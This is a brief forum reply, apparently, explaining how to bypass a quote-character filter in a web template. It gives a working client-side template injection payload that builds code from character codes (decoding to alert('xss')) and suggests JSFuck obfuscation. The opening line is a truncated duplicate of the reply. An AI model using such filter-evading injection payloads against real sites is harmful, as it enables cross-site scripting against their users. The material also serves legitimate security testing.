Yup. Obfusticating using a tool like http://www.jsfuck.com http://www.jsfuck.com would get around the lack of quotations. If the result was too verbose, you ca

Yup. Obfusticating using a tool like http://www.jsfuck.com http://www.jsfuck.com would get around the lack of quotations. If the result was too verbose, you can always handroll your own JS: {{constructor.constructor(constructor.name.constructor.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))()}}